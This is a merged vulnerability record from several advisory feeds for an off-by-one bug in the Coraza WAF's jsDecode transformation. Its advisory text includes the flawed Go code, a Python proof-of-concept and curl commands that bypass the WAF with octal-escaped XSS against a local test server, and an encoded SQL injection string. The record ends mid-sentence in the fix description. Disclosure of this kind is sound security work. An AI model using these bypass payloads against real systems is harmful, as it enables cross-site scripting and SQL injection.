{"id":"GHSA-pc5q-qfxp-ggqv","revision":null,"records":[{"revision":"16fa87043960441198279aeece7e10d3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-104774","aliases":[],"title":"OWASP Coraza WAF: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.","state":0,"publishedAt":"2026-10-12T19:58:39.383+00:00","modifiedAt":"2026-10-13T15:56:59.766+00:00","affected":[{"ecosystem":"Vendor product","name":"coraza","ranges":[],"versions":[],"rawVersionEvidence":"{\n \"vendor\": \"corazawaf\",\n \"product\": \"coraza\",\n \"versions\": [\n {\n \"version\": \">= 3.0.0, < 3.8.0\",\n \"status\": \"affected\"\n }\n ]\n }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","score":5.8,"severity":"MEDIUM"}],"references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv","https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2","https://github.com/corazawaf/coraza/releases/tag/v3.8.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-104774","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-104774","identifiers":["CVE-2026-104774"]},"retained":false,"historicalAffected":[]},{"revision":"27e21502cdf24e0e9b8512f59bf6ec8c","observedAt":"2026-11-07T04:28:12.065+00:00","statement":{"source":"euvd","id":"EUVD-2026-97825","aliases":["CVE-2026-104774","GHSA-pc5q-qfxp-ggqv"],"title":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing P…","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","score":5.8,"severity":null}],"references":["https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv","https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2","https://github.com/corazawaf/coraza/releases/tag/v3.8.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-97825","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 12, 2026, 7:58:39 PM","dateUpdated":"Oct 13, 2026, 3:56:59 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-97825","identifiers":["EUVD-2026-97825","CVE-2026-104774","GHSA-pc5q-qfxp-ggqv"]},"retained":false,"historicalAffected":[]},{"revision":"7b0e5f08daef4eaf8a40db541d2333f7","observedAt":"2026-10-25T04:17:29.458+00:00","statement":{"source":"nvd","id":"CVE-2026-104774","aliases":[],"title":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing P…","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, the t:jsDecode transformation in internal/transformations/js_decode.go:64-70 includes the backslash in the octal buffer, causing ParseInt to fail and return a null byte. The flaw is triggered when a rule relies on t:jsDecode and the request contains JavaScript octal escape sequences. An unauthenticated attacker can encode attack syntax with JavaScript octal escapes so the backend decodes the intended bytes while Coraza rules using t:jsDecode inspect corrupted null-byte output. The mismatch can bypass WAF rules and expose the protected application to attacks such as cross-site scripting or SQL injection. This issue is fixed in version 3.8.0.","state":0,"publishedAt":"2026-10-12T20:17:07.617+00:00","modifiedAt":"2026-10-16T20:04:29.76+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","score":5.8,"severity":"MEDIUM"}],"references":["https://github.com/corazawaf/coraza/commit/f9b7afdbcedce7ad814663eaee2e342578ea3bb2","https://github.com/corazawaf/coraza/releases/tag/v3.8.0","https://github.com/corazawaf/coraza/security/advisories/GHSA-pc5q-qfxp-ggqv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104774","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-172","CWE-193","CWE-693"],"productCriteria":[],"sourceDates":{"published":"2026-10-12T20:17:07.617","lastModified":"2026-10-16T20:04:29.760"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-104774","identifiers":["CVE-2026-104774"]},"retained":false,"historicalAffected":[]},{"revision":"805a09be7c674c49b9e414ed2ef32dbc","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-pc5q-qfxp-ggqv","aliases":["CVE-2026-104774","GO-2026-6696"],"title":"Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass","description":"### Summary\nThe `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.\n\nTherefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.\n\n### Details\nVulnerable code: `internal/transformations/js_decode.go:64-70.`\n```go\ncase (i+1 < inputLen) && isodigit(input[i+1]):\n /* \\OOO (only one byte, \\000 - \\377) */\n buf := make([]byte, 3)\n j := 0\n\n for (i+1+j < inputLen) && (j < 3) {\n buf[j] = input[i+j] // this should be `input[i+1+j]`\n j++\n if !isodigit(input[i+j]) {\n break\n }\n }\n```\nThis is because, when entering octal mode, the loop variable `i` points to the backslash character `\\`. Before entering octal mode, the pointer **does not** cross the backslash (unlike in the `\\u` and `\\x` cases, where `i+N` is used as the index). Line 65 uses `input[i+j]`, so when `j=0`, the backslash character itself is copied to `buf[0]`. The subsequent call to `strconv.ParseInt(string(buf), 8, 8)` will fail because `\\` is not a valid octal digit; it therefore returns `0` and raises an error (which is silently suppressed by `_`), resulting in the loss of the bytes that were supposed to be decoded.\n\nFor example, Input `\\163`. The loop starts with `j=0`: `buf[0] = input[i+0] = ‘\\’ ` (the backslash itself). The counter `j` is incremented to 1. Since `isodigit(input[i+1]) = isodigit(‘1’)` is true, the loop continues. When `j=1`: `buf[1] = input[i+1] = ‘1’`. The counter increments to 2; `isodigit(input[i+2]) = isodigit(‘6’)` is true. At this point, `j = 2`: `buf[2] = input[i+2] = ‘6’`. The counter increments to 3, at which point the loop condition `j < 3` is no longer satisfied. Final buffer: `buf = [‘\\’, ‘1’, ‘6’]`. The buffer is truncated when `j = 2` (because `buf[0] = ‘\\’ > ‘3’`), leaving `[‘\\’, ‘1’]`.\n\nThis error affects all octal escape sequences (from `\\000` to `\\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\\377` is normally decoded as `\\xff` or 255\n\n```go\n// Bug: buf = ['\\', '3', '7'] to string(buf) = \"\\\\37\"\nnn, _ = strconv.ParseInt(\"\\\\37\", 8, 8) // nn = 0\n// Correct: buf = ['3', '7', '7'] = \"377\"\nnn, _ = strconv.ParseInt(\"377\", 8, 8) // nn = 255 = 0xFF\n```\n\n### PoC\n#### Test Environment\nCoraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.\n\n#### PoC Executable Script\n```python\n#!/usr/bin/env python3\nimport urllib.request, sys\n\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"http://127.0.0.1:8090\"\n\nnormal_url = f\"{TARGET}/?q=%3Cscript%3E\"\noctal_url = f\"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n\nprint(f\"[Normal XSS: {normal_url}\")\ntry:\n urllib.request.urlopen(normal_url)\n print(\" Response: 200 \")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n\nprint(f\"\\nBypass JS octal-escaped XSS: {octal_url}\")\ntry:\n urllib.request.urlopen(octal_url)\n print(\" Response: 200 (BYPASS)\")\nexcept urllib.error.HTTPError as e:\n print(f\" Response: {e.code}\")\n```\noutput:\n```\n Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E\n Response: 403\n Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\n Response: 200 (BYPASS)\n```\n\n#### Proof\n- Normal Test\n```bash\n curl -v -s \"http://127.0.0.1:8090/?q=%3Cscript%3E\"\n< HTTP/1.1 403 Forbidden\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n```\n- Bypass Test\n```\n curl -v -s \"http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E\"\n< HTTP/1.1 200 OK\n< Date: Wed, 01 Jul 2026 16:09:04 GMT\n< Content-Length: 39\n< Hello world, transaction not disrupted.\n```\n- Log Proof\n```\n2026/07/01 16:09:04 [DEBUG] Transaction finished tx_id=\"\" is_interrupted=false\n```\n\n### Impact\nAttackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.\n#### Real-world attack scenarios:\n**SQL injection bypass.** A rule using `t:jsDecode` received `\\47\\117\\122\\40\\61\\75\\61` (i.e., `' OR 1=1`). This octal string decodes to `\\0...`, so the rule did not match the SQL injection pattern.\n\n### Affected Versions\nCoraza WAF v3.0.0 - v3.7.0\n\n### Resolution\nFixed in `internal/transformations/js_decode.go`'s `\\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:\n\n1. **The reported off-by-one** (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.\n2. **A related high-byte clamping bug in the same branch**: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\\200`-`\\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\\000`-`\\377` range decodes correctly.\n3. **A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation** (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\\0`-`\\777`, i.e. up to decimal 511), any value above `\\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\\400`-`\\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.\n\nVerified end-to-end: both PoC payloads from this report now decode correctly —\n`<\\163\\143\\162\\151\\160\\164>` → `